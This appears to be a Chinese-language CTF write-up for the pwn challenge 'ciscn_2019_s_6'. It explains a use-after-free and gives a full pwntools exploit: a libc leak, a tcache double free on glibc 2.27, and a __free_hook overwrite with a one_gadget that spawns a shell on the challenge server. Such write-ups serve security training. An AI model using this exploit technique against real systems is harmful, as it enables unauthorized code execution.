ciscn_2019_s_6

ciscn_2019_s_6

查看保护


漏洞出在了call里面有一个uaf漏洞。直接double free attack即可。
攻击思路：uaf又是libc2.27。所以直接申请0x410泄露出libc和free_hook。再通过double free修改fd为hook，改hook为one_gadget即可getshell。具体的2.27下的double free可以看z1r0’s blog

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 27460)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'choice:'

def add(size, name, call):
    r.sendlineafter(menu, '1')
    r.sendlineafter("Please input the size of compary's name", str(size))
    r.sendafter('please input name:', name)
    r.sendafter('please input compary call:', call)

def show(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Please input the index:', str(index))

def delete(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Please input the index:', str(index))


add(0x410, 'aaaa', 'cccc')

add(0x10, 'aaaa', 'ccccc')

add(0x10, 'dddd', 'eeeee')

delete(0)
show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
success('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./libc-2.27.so')

libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
success('free_hook = ' + hex(free_hook))

delete(1)
delete(1)
delete(1)

add(0x10, p64(free_hook), p64(free_hook))

one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base

add(0x10, p64(one_gadget), p64(one_gadget))

delete(2)

#dbg()

r.interactive()